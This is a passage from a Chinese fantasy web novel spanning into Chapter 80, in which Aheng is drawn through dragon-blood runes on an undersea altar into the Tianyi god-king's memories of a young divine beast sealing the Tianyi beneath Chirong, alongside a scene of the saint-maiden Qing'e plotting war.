又听到这个名字,阿姮有一瞬晃神,她到现在也不是很明白,为什么碧瑛好好的一个蛇妖,怎么总是这么乐于助人? 积玉看柳行云如此文弱,比起一个医者,他更像是一个书生,可他从赤戎那样的地方出来,却一直在为村人的病苦而跋涉,哪怕后来意识到那所谓的病症根本不是他这个普通的凡人医者所能叩开的玄妙,他也依然不肯放弃,作为上清紫霄宫药王殿弟子,积玉看向他的目光颇为感佩: “柳先生真有神农之心。” 阿姮见柳行云满鬓冷汗,知道他此时必然十分不好过,再看霖娘那双眼睛眼泪没停过,她想了想,上前问道:“喂,我来帮你拔出这根钉子,你敢不敢?” 柳行云摇头:“多谢好意,此时拔出这东西,一定会被何罗鱼察觉,现在还不行,这祭台绝不能成,在你们来之前,我们本已做好破釜沉舟的打算。” “你们?你们能做什么?” 龙女十分惊愕,其实她对于人类的认知与那些水妖差不多,海兵尚能在这黑水里存活些时日,这些凡人若没有气泡,一触黑水,很快便会暴毙,他们实在太弱小了,龙女并不如水妖那样轻蔑地看待他们,而将他们视作自己的子民,责任,可她却也没有想过这些凡人在如此深邃的海底,单凭他们自己,到底,还能挣扎什么? “都说咱们弱小,”一旁那个干瘦到只剩一层皮包着骨头的老头扒拉着蛤蜊壳,说道,“可要我说,那天上的神仙还是人变的嘞!妖怪生来有怪力,有他们的修行,咱们啥也没有,但是,但是……咱总不能就这么等死吧?就算这副手脚什么也拼不过,那也不能白给他们建成这么个祭台!不然死了,也是憋屈鬼!” “底下那些海兵的下场咱们都看见了,他们是得了病,反抗不了,可咱们只要还有这气泡护着,咱们就要吃东西,存着力气,跟他们拼了也好过窝窝囊囊地死了!” 那中年男人沉着脸,说道。 那些水妖以为祭台下针对海兵的炼狱足以吓破这些人类的胆子,只觉得他们只配如此恐惧地活,再绝望地死。 蚍蜉嘛,能掀起什么风浪来? “此祭台的形制乃是仿造人间帝王祭天所用,东海龙宫的建筑与人间十分不同,海兵们并不熟悉这些,所以何罗鱼才要抓来我们这些人来建造此祭台,”柳行云缓了一会儿,又有了些力气,看向那仍在吃蛤蜊的干瘦老头,“这位老伯与渔民不同,他曾是替君王修建过祭台的工匠,此祭台虽是由坚硬的玄武岩与精铁建造,但若在关窍处动些手脚,这些坚硬的东西反而会成为负累,待最后一座九头鸷雕像落下,祭台就会塌陷。” 那干瘦的老头眼皮耷拉着,浑浊的眼珠动了动:“我从前建过的那座祭台啊,那些大人们翻来覆去讨论了许多次,改了许多回图纸,他们一改,我们就得重来,他们是生怕祭台出事,怕牵连人祸……这么一来二去,那些图纸上的错处我就都记得了,妖怪们想要一座完好的祭台向天衣人交差?没门儿!” 在绝对悬殊的力量面前,凡人别无他法,无非祭台一倒,鱼死网破,也许反抗会毫无作用,但反抗,一定有意义。 “那何罗鱼以为赐给我这钉子我便不敢违逆,”柳行云抬起苍白清瘦的脸,微微一笑,“他错了,我给他用了蛇胆,蛇胆至寒,他作为鸟的本相迟早会发狂的。” 何罗鱼鸟相发狂之日,便是他们计划摧毁祭台之时,水妖群龙无首,天衣人又并不在此,那是他们唯一的机会。 程净竹没说话,他站在那片九头鸷雕像投下的阴影里,看向磷光明亮处,这座祭台与人间帝王祭天用的祭台几乎没什么不同,除了地面的纹饰,九头鸷是天衣人引以为傲的图腾,因为他们曾借九头鸷而夺取天下,一举从弱小族群成为天下之主。 除了九头鸷的图腾,从祭台四角蜿蜒而来的还有繁复深刻的神秘符纹,不同于如今的文字,亦与玄门符咒有所不同,刀刻斧凿之下,每一寸都深邃得像一条沟渠,程净竹走出几步,抬眼一扫,敏锐地发觉这些符文竟然暗合七七之数,整整四十八道符纹拥向祭台中心,第四十九道在几名凡人脚下戛然而止,还未成形。 白符自袖中飞出,程净竹并起双指,在白符上描画一道,白符即刻烧成金芒落入地面的符纹当中,金芒所过之处,浓郁的血气上涌。 阿姮骤然嗅到这血气,喉咙下意识吞咽一下,这也……太香了吧。 与小神仙那芳香的血气有所不同,这血气有种扑面而来的沁人之感,那是一种强大的血脉,阿姮猛嗅一阵,只觉得这味道简直堪比精纯清气,她都有点儿晕乎乎的了。 “这是什么?!” 脚下符纹忽然涌动血水,有人吓了一跳。 程净竹垂眸,鲜红的血液在符纹每一寸缝隙中流淌:“龙血。” 龙血? 阿姮一下看向龙女,龙女脸色煞白,东海之中除了龙女之外,还有一位真龙。 “是我父王……” 龙女又恨又痛,泪意乍涌。 积玉此时看着地上被鲜血浸透的符纹,他立即反应过来:“小师叔,七七之数,龙血续脉,这好像是一道阵法!可这阵法到底是做什么用的?” 天衣人的目的到底是什么? 阿姮已无心听积玉说了些什么,她完全被这股浓郁的血气所吸引,底下海兵们运过一轮石料,磷光变暗也没有水妖再管,幽幽光线中,阿姮缓缓俯身,一根纤细的,苍白的手指在符纹中一点,鲜红的血珠沾染她指腹的刹那,符纹中紫芒一闪触碰她指尖,又迅速顺血水蜿蜒,血花飞溅,落在她的鞋面。 “不论它是做什么的,这第四十九道符纹不能再刻……”程净竹并未察觉血水中的异样,回头对众人说话之际,却忽然见阿姮飞快地从他身边掠过,他的话音戛然而止,目光追她背影而去,只见她踏过地上符纹中渗出来的血水,朝祭台中心去了。 “阿姮!”霖娘不敢大声,只能轻轻地唤。 阿姮像是根本没有听到霖娘喊她,或者说,此时此刻所有的声音她全都听不到,一双暗红的眼睛眨也不眨,好像所有的神思都停滞在了她手指沾上那点龙血的瞬间,她根本不知道自己的身躯在做什么。 她忽然停了下来,鲜血浸透她绣鞋的边缘,染红上面的绣花,她面前正是那四十八道符纹汇聚的中心,浊黑的气流乍现,搅动海水,形成漩涡。 “那黑气又出来了!” 有人惊恐地喊。 显然,他们并不是第一回见这诡异的东西。 程净竹立即朝阿姮奔去。 此时,阿姮的眼珠僵硬地转动,龙血从她脚下的符纹里蜿蜒,血气在浊黑的漩涡中形成一只眼睛与她静默相视。 阿姮周身红雾弥漫,她仿佛无知无觉,毫不犹豫地往前一迈,程净竹飞快掠来,手背却堪堪擦过她的衣角,幽绿的磷光照着她那双毫无光彩的红眸,红雾漫漫,她像一团炽烈的火坠下去,坠入无边的黑暗。 程净竹一跃而下,银尾法绳如游龙入渊飞快缠住阿姮的腰身,他挽起法绳的刹那,用力将她带到自己怀中。 雷电如织,轰隆声重。 程净竹仰头一望,漩涡早已不复,只有无穷无尽的漆黑。 “阿姮?” 不断的下坠中,程净竹捧起阿姮的脸。 阴冷的风呼啸而来,周遭缓缓流动的气流顷刻间察觉到他的闯入,它们陡然迸发出重重黑焰,烧成一片连天流火,一簇一簇如流矢砸向他身躯。 数簇流火穿胸而过,程净竹周遭金光涌动,冰裂之声响起,他猛地吐出血来,而眼前的阿姮面无表情,红眸未动,毫无知觉,仿佛五感皆被封闭,程净竹立即并指画出金光咒印打入阿姮眉心。 随后,他将额头贴上她的,千丝万缕的金芒环绕在他们二人周身。 祭台之上,积玉方才冲到中心,那浊黑气流所形成的漩涡却在刹那间消失得无影无踪,他脸色大变,回过头去:“那是什么东西?它为什么会把小师叔和阿姮吞进去?!” 柳行云忍痛坐起身:“算起来,第一道符纹刻下去之后,便时不时有黑气盘旋于此,没有人知道那是什么。” “那阿姮他们……” 霖娘急得厉害:“他们到底去了哪儿!难道我们只能再等那黑气出现吗?” 阿姮的意识还停留在她触碰到符纹缝隙中的龙血的那一刹那,她也不知道为什么,下一瞬自己竟然身处在一片黑山黑水之间。 脚下是一片碎石滩,一阵湿润的冷风迎面拂来,阿姮后知后觉地抬眸望去,黑水涛涛,蜿蜒成河,河上风雾缓缓浮动,模糊了对面远山的轮廓。 天色青灰发暗,冷雾朦朦胧胧。 岸边一棵老树,枝叶繁茂如盖,风来叶动,落英纷纷。 昏黑的山水之间,半空中那簇燃烧的金焰尤其显眼,阿姮不自禁伸出手,河风吹动她的衣袖,那金焰也仿佛被吹动,像这片天地绝无仅有的一颗星星被风携来,如她所愿坠落在她的手掌。 阿姮捧住它, 金芒陡盛,独照她身。 第80章 第80章 “我甘愿为你还俗。”…… 080: 天上阴云密布, 雷电交织而动,不断发出轰隆之声,那雷云,那流火, 是一张密不透风的网, 无时无刻不以万钧之势威慑四方。 少女身披斗篷, 微微抬首,冷冽的电光照亮她瘦削惨白的下颚,她的眼皮早已与眼睑粘连长成密不可分的疤痕, 手背那片碧绿的玉片闪烁如湖水一般深邃的粼光, 听着那阵剧烈的雷声, 她的厌恶之色不加掩饰:“你看这天网, 雷电交织,密不透风, 那些神仙视这天为他们不容侵犯的边界, 多少妖魔受我调遣却因无法御风而险些耽误了东炎与乌鹊之间的国战。” 站在她身后的黑衣青年身形高大,始终低垂眼眉, 不敢正眼凝视少女的后背:“幸而圣女未雨绸缪, 利用那七杀星的私心趁机将那些妖魔插入诸国军队之中, 那些妖魔受您所召, 已是您最忠实的信徒, 即便那天帝能一力撑起七杀星的威压,可神有所职,他终究不是七杀星, 东炎与乌鹊一乱,天下自然大乱,如今那些天兵天将都忙着在人间战场上平息争端, 众神又因妖祸不断而下界,那天帝要继续支撑七杀星的威压,还要维护十二神阙下界所有神仙的神魂……他已经是分身乏术。” “十二神阙……” 青峨重复这四字,她没有什么血色的唇扯了扯:“九仪口口声声为人成神,可她渡化的这些神却比我天衣神族还要高高在上,这天网便是凡人口中神明不可冒犯的天威,他们占天为阙,凌霄上下十二重,重重压人间……人间有妖魔,他们才好居高临下,弄雨翻云。 妖魔生来无根,那些神的眼里从来没有他们,慈悲不向着他们,天道不怜悯他们,所以我招一招手,赐给他们火种的力量,他们便自愿用他们的怨,他们的恨,甚至是他们的恶来为我滋养火种,做我的信徒。 他们……都是一些很好用的可怜虫,那些神仙得九仪精纯清气庇佑化身成神,如无意外便是与天同寿,何况还有天帝镇守神阙为他们养护神魂,我天衣神族千军万马却被囚于赤戎之下,而今,还好有这些可怜虫们,他们用我赐给他们的力量四处为祸,引诸神来讨,既牵制住上界,又为我取得更多的怨戾。” “凡人的战争真好,多少怨戾都从那儿来……” 青峨声音忽然顿了一下,那黑衣青年见她脊背微蜷,神情立即一变:“圣女,近来您从战争中吸取来的怨戾太多太重,您必须将火种取出来,否则您的紫目神窍一定会爆炸的!” 青峨胸口痛极了,痛得她那层薄薄的眼皮之下空洞的眼眶都烫得厉害,海风吹开兜帽,露出她整张还有些稚嫩的,惨白的脸,浪花拍打她的双足,她仍仰着脸,镶嵌在手背皮肤中的幽碧玉片却映照一片海水波光,她看到海上那样浓烈的风雾:“就快了,只要我取回白泽身上的火种,便能重回赤戎,光复天衣。” “可大长老说过了,火种不能留在您的身上,必须要那个东西……”黑衣青年说话的声音戛然而止,少女依旧背对他,手背那片幽碧的波光却冷冽地闪过他的眼。 “那东西?” 青峨稍稍侧过脸,回想起那件东西的那副人形,鲜艳如烈焰,桀骜如朔风,她笑了笑,语气似乎困惑,又那么轻蔑:“我真不明白,为什么父王和大长老都对她那么看重,她到底算什么呢?好像他们都认定了光复天衣这件事只有她做得到。” 她问道:“黑炻,你怕大长老?” 她似乎只是在问他是否惧怕,但黑炻知道没那么简单,他立即俯首:“圣女是神王唯一的血脉,黑炻此生只信奉圣女。” 青峨听了,却忽然笑:“你如今看我,我是神王唯一的血脉,可是黑炻,在六千年前,神王共有儿女三百零二个,而我,便是那第三百零二个。” 黑炻愣住了。 他如今也不过两百来岁,六千年前的事对他来说是那么的遥远。 “我天衣神族身怀紫目神窍,自然与那些低贱的凡人不同,我们可以借器飞天遁地,无所不能,寿数也比凡人绵长,而神王于法器、法阵一道更是天纵之才,他身怀无数法器,得大神通,为了延续天衣荣光,他必须要在我们这三百零二个子女中,挑选出最适合接替他成为新的神王的人。” “六千年前,我并非是神王选中的那一个。” 黑炻自然知道她并非是神王最初选中的人,六千年前被神王选中的那位圣子背叛了他,背叛了天衣神族,是那贱奴出身的九仪以所谓的情爱蛊惑了他,使他火烧神都,断神王后路,使他心甘情愿助她镇压整个天衣神族,后来又与她一道身化精纯清气渡凡人成神,从此归于虚无。 他明明曾是神王最优秀的儿子,是整个天衣最耀眼的星星,却偏偏成为了天衣神族永远的耻辱。 “圣子背叛天衣,辜负神王,我天衣神族无不以他为耻,”黑炻垂首,神情无比的虔诚,“大长老听从神王谕示使您继承神王的全部神通,在神王心中,在大长老心中,您才是天衣神族的希望,有您在,我天衣神族定能从重现往昔光耀,届时天上地下,注定重回我天衣神族之手!” 青峨手背玉片冷冷的波光映照黑炻那副无比忠诚的模样,她唇边仍有笑意,却似乎含着几分嘲弄。 青峨知道,他向着她的虔诚分毫不作假,他的确无比忠实地信奉着她这个圣女,自她复生之始,他一直是她最忠心的臂膀,招揽妖魔做她的信徒,利用惠山元君的私心,掀起人间战乱……她所做的每一件事,都有他不计后果地去执行一切。 可青峨很清楚,他的忠诚从头至尾都只献给神王唯一的血脉,天衣唯一的圣女,他太想要光复天衣了,太想要站在阳光底下向他的祖先那样俯瞰天地。 凛冽的海风拂面,青峨一边感受,一边漫不经心地想,她才不是神王和大长老心中天衣神族的希望。 他们的希望,是那件成了副人形,有了个人类名字的东西。 他们从来没瞧得上她这个孱弱的残次品。 大长老还真以为她不知道他的心思么? “你说你只信奉我,你的意思是,你只为我所用,即便大长老有令,你亦万事以我为先了?”青峨微微偏头,语气真如一个少女般天真。 黑炻毫不犹疑:“比起您,大长老本不算什么。” 青峨露出笑容:“是啊,他根本不算什么,若不是天衣神族大多数都被镇压在赤戎,而他侥幸留存,他也不过……一个守墓人而已。” 守墓人? 黑炻心中疑惑,但观圣女那副神情,他却不敢发问,片刻,只好说道:“大长老此前以诱使诸国发生战乱,为火种制造更多的怨戾为借口不许您插手东海,也不知他在此到底都做了什么,圣女,我们可要入海一探究竟?” “不急。” 青峨说着,她分明借手背的玉片看清黑炻疑惑的神情,东炎与乌鹊战争一起,其他诸国也在那些被圣女赐予火种力量的妖魔信徒搅得纷争四起,混在军中的信徒们一牵制住那些下凡来的天兵天将,他便立即带领了一些信徒跟随圣女披霜冒露赶来东海,可此刻站在这海边,圣女却忽然变得悠闲起来。 黑炻百思不得其解,可青峨心中所思却从未打算向他透露半分,即便他已如此虔诚,青峨听着海浪翻卷的声音,说道: “再等一等,等这海上的风浪再大一些吧,大一些才好。” 天色昏昏,黑波茫茫,阿姮捧住那金焰的刹那,耀眼的金芒一闪即逝,那一簇金焰在她掌中了无痕迹,阿姮茫然之际,却见眼前这棵枝繁叶茂的老树叶蜷枝缩,每一寸粗壮的枝干都在不停地回缩,巨大的荫蔽化为小树,再化幼苗,终缩回泥土,踪影全无。 阿姮一下抬首,发现四周亦在瞬息之间完全变化,那条她无比熟悉的黑水河不见了,眼前一片青山巍峨,碧草幽幽,薄雾漫漫,山间鸟鸣清脆,繁花如锦。 阿姮不知自己为何会在这里,她分明记得自己在东海之下的祭台上,她记得自己的手触碰到符纹中的龙血,然后便身处此地。 这是赤戎吗?可赤戎分明黑水黑山,连下的雨都是黑的,难道,赤戎也曾有过这样的好光景吗? 忽然,阿姮听到远处传来崩雷爆裂般的声音,她举目望去,远处巍峨险峻的山廓似乎被一种极致的白很快淹没,那抹颜色如奔流的白浪气吞万里,浩浩汤汤而来。 那滔滔白浪携带无比尖锐的寒冷之意向阿姮扑面而来,冰冷的雪粒子拍打她的脸颊的刹那,她一眨眼,大雪崩腾,轰轰烈烈,眼前骤然已是一片茫茫雪海。 阿姮觉得头疼,剧烈的疼,可她的神思却因此而更加清晰,她听到空中一声绵长的嘶鸣,她仰起脸,一只身形巨大的,生着浓密羽毛,足有九个脑袋的怪鸟不断盘桓,它似乎是在为什么而欢欣,阿姮不由看向它一直紧盯着的那个方向。 那是一座山,与周围群山没什么两样,不同的是,那座山不断地震动,震得山上厚重的积雪轰然下坠,激起重重雪浪。 几乎是阿姮望向那座山的瞬间,她整个人明明纹丝未动,却转瞬之间便站定在那座山前。 “神窍不灭,天衣永继!” “神窍不灭,天衣永继!” 那座山下像是有一道见不得光的,深邃的裂口,无数人的声音相合,从那裂口中传出,响彻整座山,整个赤戎,震得人耳心生疼。 围绕着整座山的金光障显了形,强大的威压向下笼罩,强压之下,雪浪翻腾,草木尽折,然而山中深邃处传出的这阵声音依旧整肃,森然,山中地下向上弥漫的繁烟黑絮不断与金光障所投下的威压相撞,撞得山石震动,雪崩不断。 这种天翻地覆的气流冲撞,几乎使得周围群山在一片雪浪飞烟中尽数崩裂倾倒,整个赤戎都在震颤,空中那九头鸷急不可耐,飞向那座在金光障中傲然独立的山,以极其坚硬的鸟喙撞击光障。 如絮的黑气源源不断地从山中漫出来,金光障中的符纹飞速转动,不断降下威压,黑气凝成尖刺,攒矢如雨,连绵不绝地冲击着金光符纹,符纹被这密集的攻击击碎一角,就在金光符纹将要粘合弥补的这飞速一瞬,一缕黑絮流出,顷刻化出一个巨大的法阵,阿姮感觉到地面的震动,她意识到整个赤戎的地下似乎结了一个像蛛网一样繁密的法阵,而那一缕窜出的黑絮,是彻底开启它的钥匙。 这便是天衣人精妙绝伦的法阵之术,山石草木,每一寸土地尽数化为这法阵的阵眼,阿姮眼前的地貌不断在改变,高山转瞬化为平地,草木荣了又枯,山丘成为湖泊,风霜雨雪不断地交替,阿姮知道,这个法阵令这片天地之间的炁彻底失衡了,而那金光障中的符纹很显然是精纯清气所化,精纯清气受混乱的炁影响,稍有凝滞,那山中不断弥漫出来的黑絮迅速疯涨,只听一声无比尖锐的碎裂声响,金光障破,那座山崩了半边,重重雪浪如瀑流飞扑而下,九头鸷在空中兴奋地嘶鸣,山中裂隙中,千军万马踏烟而出,嘶吼震天。 “杀出赤戎,夺回神都!” “杀出赤戎,夺回神都!” 破障而出的天衣神族气势汹汹,他们要渡过汤汤河流,要刺破九仪最后的结界,他们要离开这片逼仄的天地,去往更广阔的人间,将那些可恶的凡人赶回他们原本的位置,让整个世界重新回到他们的手上。 他们才是这天上地下的主宰,是真正的神。 阿姮不知为什么,自己竟然可以听懂他们心中的渴求,她只是盯着他们,身躯便瞬息随他们而出现在茫茫江海之间。 阿姮看见他们拿出形状各异的法器,祭出无数精妙的法阵,他们军纪严整,各从其事,分毫不乱,流光如矢齐发,撞击结界猛然爆裂,化成如簇的火坠入江中,激荡起层层汹涌的浪涛。 “他们都是天衣人,”阿姮站在江边,脚下是洁白厚重的积雪,她抬眼,天衣人密密麻麻几乎铺满那片天空,法阵一重接着一重,飞速转动,神秘的符纹闪动凛冽的光影,刺得人眼睛发痛,“可我……为什么会在这里?” 江面的冰层早已被流火化尽,江上寒雾如缕,一眼望不到头,阿姮耳边忽然多了一道清越的女声:“因为你正身处天衣神王的神识之中。” 是万木春。 阿姮惊谔极了,立即追问:“天衣神王的神识?我为什么会在他的神识里?” “因为天衣神王的神识正在东海祭台之中,你之所以出现在这里,是因为你抵抗不了天衣人对你的召唤,是有人操控你来到这里。” 万木春的声音始终平稳。 阿姮愣住了,江上天衣人法阵飞速转动的杂声仿佛离她远了许多,片刻,她开口:“你为什么会知道这些呢?” 却不待万木春出声,她点了点头,想明白了:“你是九仪镇在赤戎的法宝,赤戎发生过什么,你都知道。” 江上冷风吹来,阿姮耳边的浅发飞扬,她问道:“那你也会知道我是谁吗?我到底为什么……会是他们的东西?” 阿姮抬眼,面无表情地凝视着那些拼命撞击结界的天衣人。 “不,我并非什么都知道。” 万木春的声音响起。 “看来你并不是那么兢兢业业的法宝,反而很会偷懒睡大觉,”阿姮有些失望,“我到底是个什么,你不知道,那你说,我既在天衣神王的神识中,那么为何我看到的会是这些?这些对那个神王很重要吗?因为这是他距离人间最近的一次,他捶胸顿足,气得发疯,所以永生难忘?” 万木春的声音落到她耳边:“这虽是神王的神识,但你眼前看到什么,并不取决于他,而在于你。” “说人话。” “你心里在想谁,便会看到天衣神王记忆中与他相关的一切。” 阿姮的神情一瞬凝滞。 天衣人法阵中钻出的重重流火不断下坠,在江水中爆裂,在群山上炸响,这片天地被灼烧得无比炎热,山上的雪融化成水,浩浩千流,来势汹汹。 风却忽然变得更凛冽了,那种凛冽,像终年难化的雪意扑面而来,雪粒落在阿姮的鼻尖,她意识到,真的下雪了。 大雪纷纷扬扬,很快逼退这片火海中的炙热,天衣人的法阵崩裂数个,化成阴冷的碎光坠入江水。 空中响起一阵啸鸣,那声音柔和如金玉相振,仿佛穿越松风云雨徐徐而来,天上金霞灿灿,祥云流转,阿姮仰起脸,那片霞光云影中,隐约有一兽影,那神兽通体雪白,其首如龙似虎而有角,身形并不多么庞大,却轻盈灵巧,稳健优雅。 他背上生着银亮通透的鳞甲,在连绵的金霞中熠熠生辉,一双兽目深邃如星海,自云中下视,威慑四方。 “那是什么?” 天衣人满脸惊异,他们没有一个人见过此等异兽,只见其一出现,连天象也发生变化,云霞,风雾,仿佛都因他而变得柔和,轻快。 “定是九仪遣来镇压我们的!” “神王有令,不惜一切冲出赤戎!为光复天衣,杀!” “冲出赤戎,光复天衣!” 天衣人的喊杀声震天,阿姮望见那片灿烂云霞中,那只异兽缓缓回过头,他身后风烟漫漫,什么也没有,但阿姮就是知道他在看什么。 看诸神,看他的天帝父亲。 可他们不在,一个也不在。 此时天衣人号令一响,那始终盘桓于空中的九头鸷扇动翅膀猛然朝云中的异兽冲去,阿姮立即飞身掠去,红云烈焰向那九头鸷迎头打去,却不料,她的红云被凛风顷刻吹开,流散,这瞬息之间,那九头鸷已朝那雪白的异兽撞去,那异兽顷刻转过头来,啸鸣一声,一口咬断九头鸷的一个脑袋。 血雾冲天,风中都是浑浊的血腥味。 九头鸷尖利的叫声响彻这片天地。 阿姮怔怔地悬在那片金霞云影之间,异兽雪白的毛发沾上九头鸷濡湿的鲜血,他似乎愣住了,那双锐利明亮的兽目眨动几下,如此短暂的一瞬,阿姮却那么轻易地感受到他的惧怕。 他在惧怕鲜血的味道。 天衣人操控法器,结出千万法阵,飞速转动的法阵几乎铺满整片天空,他们的影子密如织蚁,又如波涛,汹涌地奔他而来。 “这是已经落定的因果,你插手也毫无意义。” 阿姮听到耳边传来万木春的声音。 阿姮不言,她望着那片天衣人织就的汹涌浪涛扑向云端的他,有很久,阿姮被那些密密麻麻的天衣人和他们的法阵挡住了视线,她看不见他,唯见风雪盛大,仿佛有灵般,以严寒之力席卷而去,血雾冲天,空中不断有天衣人掉下去,摔入江水之中,此时天衣人终于反应过来,此异兽竟能化风化雨,乃至云雪都能为他所用。 更准确地说,他拥有操控世间一切的炁的能力。 这实在是一种恐怖的能力,天衣人心中虽生了惧,但那天衣人的将军却并不畏退,他厉声道:“九仪以封印困我天衣神族于此,若非神王费尽心力使赤戎漂浮不定,只怕那些在天称神的人不知要将我天衣神族折辱至何种境地!我们出不去,他们也休想进得来!此异兽即便因能感知炁的流动而来到此地,但他也不过孤军一个!何况他分明出生不久,还是幼兽,一身神通还未大成,我等身怀紫目神窍,不死不灭,又何惧一稚儿!” 天衣将军一声令下,千军万马扑向云端。 金霞染血,风雪如刀一般刮过阿姮的脸颊,这明明只是神王的神识中的一段记忆,可她却感受到这股风雪的彻骨寒冷。 这场战争持续了太久,天衣人因紫目神窍在身,哪怕断胳膊断腿,身上被风雪刮出多少血洞,他们也依旧不死,他们仿佛不知疲倦,不知痛楚般,一次次围杀过去。 数不清多少法阵落到那神兽的身上,天衣人祭出的法器千奇百怪,机括齐响,紫电如矢,如雨般砸向神兽的身躯。 他的鳞甲实在太坚硬了,天衣人发现这一点,无数人如蜂,如蚁般围上去,不惧风雪穿身,催动法器。 金霞紫电交织成一片诡异的天象,血红的风雾浮动。 那神兽撕咬他们的血肉,以风雪洞穿他们的身躯,他们落到江水中,滔滔江流更遂他意碾碎他们的血肉,但他们哪怕没了血肉身躯,紫目神窍却仍在,每一只幽冷的紫目都紧盯着他,化出紫电,朝他扑来。 白昼黑夜无声交替,阿姮已数不清到底过去多少昼夜,她看着他,看着他没有任何喘息之机地厮杀,鲜血几乎染红了江水,在地面淌出一条血河分出流去,他浑身的毛发都被鲜血染红,他已经很累了,血液顺着他的毛发往下滴,像下起血雨。 那九头鸷尖啸一声,再度发起攻击,神兽迎头扑上去,再咬下九头鸷的一颗脑袋,周身散出的强大气流将九头鸷撞出去,九头鸷落下去,撞塌一片山峰,顿时轰隆巨响,烟尘滚滚。 而数千名天衣人趁此机会,以血肉之躯作为代价逼近神兽,他们以法阵为网,法器机括一响,紫电频出,众人齐力之下,竟然生剥下一片银白的鳞片来,紫电如刺,猛然钻入神兽那处伤口。 他发出的哀鸣亦如金振玉响,分毫不尖锐,阿姮指节紧紧地攥起来,眼睁睁看天衣人将他从云端拽下,轰然声中,落入江流。 江水化箭,刺破紫电,划开缚住他的网,风雪凛冽如刀,绞起一片血雾,天衣人一片惨声,那片被天衣人剥下的鳞片亦随风而去,猛然嵌入一副紫目神窍之中,机括转动声止,那紫目忽然不再眨动。 神兽只在顷刻间便意识到了什么,风雪随他意动,裹挟气流而去,那副紫目神窍“轰”的一声,碎裂成烟。 那天衣将军的脸色陡然大变。 下一瞬,他们所有人看向那江水之中,那神兽一双金色的竖瞳冷冷抬起,顷刻之间,风云变幻,风雪涌向他,却似乎发出哀鸣。 它们不愿接近,却被风中的炁以强硬地威压带去,大片大片的雪花砸向他身,风声越急,血红的江上冷雾沉沉,他身上银白的鳞甲一寸,一寸被风雪剥离,也许他还是太年幼,无法真正忍住剥离鳞甲的痛,天地之间,他痛苦的啸鸣不断回响。 天色昏黑,血雾浓浓,那些银白的鳞片如雨而落,被风中的炁精准地刺入每一副悬在空中的紫目神窍之中,爆裂声不断,紫烟弥漫。 他鳞甲尽褪,背上几乎血肉模糊,阿姮眼睁睁见他乘风扑去,风雪随他化为数不清的利刃,洞穿天衣人的血肉身躯,他锋锐的利爪破开无数人的胸腔,掏出来他们的神窍,银鳞如雨,截断机括,巨大的爆裂之声不断炸响在这片山川河流之间。 天衣人因不死不灭的一副神窍而积攒起来的神勇,被他杀穿,杀怕,他们渐落颓势,不断地后退,风雪之中,那神兽居高临下,金瞳冷冽,啸鸣一声,即便浑身浴血,亦威严凛然。 风雪借炁而如浩浩江流奔涌而去,天衣人彻底乱了,四散而逃却逃无可逃,统统被卷入那座他们方才逃出来的山中。 周遭群山尽毁,唯有那座山因残损的封印而岿然不动。 猛烈的风吹拂着他血红湿润的毛发,他金色的眼瞳凝视着云下的那座山,山中天衣人不甘的哀嚎不断。 阿姮不自禁地靠近,那么的近。 她看清他背上血肉模糊的一片,鲜血仍然在顺着他的毛发往下滴落,他的爪子被天衣人的紫电扎透,四肢都是血淋淋的伤口。 他一瞬不瞬地盯着底下那座山,阿姮伸出手,指尖几乎要触碰到他的刹那,他忽然倾身,巨大的身躯从云端就那么坠了下去。 阿姮的手僵在半空,她猛地朝云端下望去,他的身躯坠下去撞向那座山,轰然巨响,灿烂的金霞将那座山笼罩许久,天地之间,都变得好安静。 连风雪都失踪了。 金霞散去,阿姮看到那座山似乎还是那座山,却又好像更加巍峨了。 山中,一道苍老的,冷漠的声音响起:“孩子,你这是何苦呢?你身为异兽,乃天地造化而成,又何必为那天帝将自己的一身骨头烂在这里?” “为苍生,神当如此。” 那声音还有些稚嫩,像个天真懵懂的少年,他整副身躯正与山体相融,这种痛苦令他声音都在发抖,但他依旧清楚地记得,为苍生不惜一切,是父亲教给他的道理。 那苍老的声音冷笑:“你小小年纪,才出世多久?你知道什么是苍生吗?还什么都不知道,便要稀里糊涂地为了那些东西而死?” 他的确不知。 他只记得,父亲曾在紫微金阙往下一指,他顺着父亲所指的方向望见一个模糊的轮廓,父亲说,那是人间。 苍生在那里,神的责任在那里。 封印弥合,那苍老的声音再也不复,少年也再没有一点声响。 这片天地之间,仿佛只剩阿姮一人,她在半空中看着,看着这片天地变幻,有时白昼,有时黑夜,有时晴,有时雨,天衣人血肉身躯化成的血河流淌着,经年日久,成为一条黑水河,山水皆黑,草木难丰。 “天衣神王将自己的神识撕碎遗留在外,他即便身在赤戎,这片残缺的神识亦能共享他在赤戎的所有记忆,这祭台是借龙血起天衣法阵,为神王弥合神识所用,”万木春的声音忽然又在阿姮耳边响起,“你的神魂曾不止一次被碾碎,如今你身在此处,正好也借此法阵来弥合你的神识。” “阿姮,我为你开一朵神萦花,接下来你所看到的,都是被你遗忘的记忆。” 万木春声音方落,阿姮发髻间焦黑的木簪忽然绽开一朵洁白的神萦花,凛风吹来,柔软的花瓣颤颤。 额头的泥痕好烫,烫得她皮肤像要化开,烫得她浑身的血液仿佛都在经脉里胡乱地冲撞,剧烈的疼痛袭来,那并非是一种血肉身躯上的疼,而在于神魂的苦痛。 阿姮痛得眼前发黑,她几乎不能视物,恍惚之间,她不受控地从云端栽倒下去,下坠,不断地下坠。 风声渐渺。 她坠入一片黑暗当中,这里没有风,也没有雨,像一个完全封闭的深渊,她意识清晰起来,却发现自己竟然成了一团浑浊的雾,被牢牢控制在一个人的掌中。 昏暗的火光映照他的脸。 他有一双幽绿的眼睛,一副耄耋之相,那双浮肿的眼皮微微一眯,落在阿姮身上的目光那般阴冷,他嘴唇浮出笑意:“依照神王神谕所示,果然在此找到这世上最后一团混沌之气。” “可这团混沌之气看起来似乎已经修出神识,有了感知,也不知好不好用。” 他身边另一个绿眸的中年人眉心隆起川字。 “这东西有了自我意识,便平添诸多风险,不必请示神王,将它捏碎了也能用。” 那老者语气平淡。 火光映照他的脸,令他脸上的道道沟壑更加深邃,他抬袖之际,手中法器紫光幽幽,电光瞬间钻入阿姮如雾的身躯。 紫电撕扯的剧痛令阿姮难以招架,可她竟然连一点声音也发不出,她再挣扎,也仅是一团雾,仍牢牢被那人控在掌中。 极致的痛苦中,阿姮清晰地感受到那一缕一缕的紫电仿佛在将她身体里的什么东西一点点撕裂,那人的手越收越紧,阿姮恍惚中竟觉得他的指节如同道道巍峨的山峰,一峰,又一峰,山崩地裂般地向她压来,轰然声中,有什么从她的身躯中消散了。 阿姮意识到,那是她初生的神识,她的感知被彻底碾碎了。 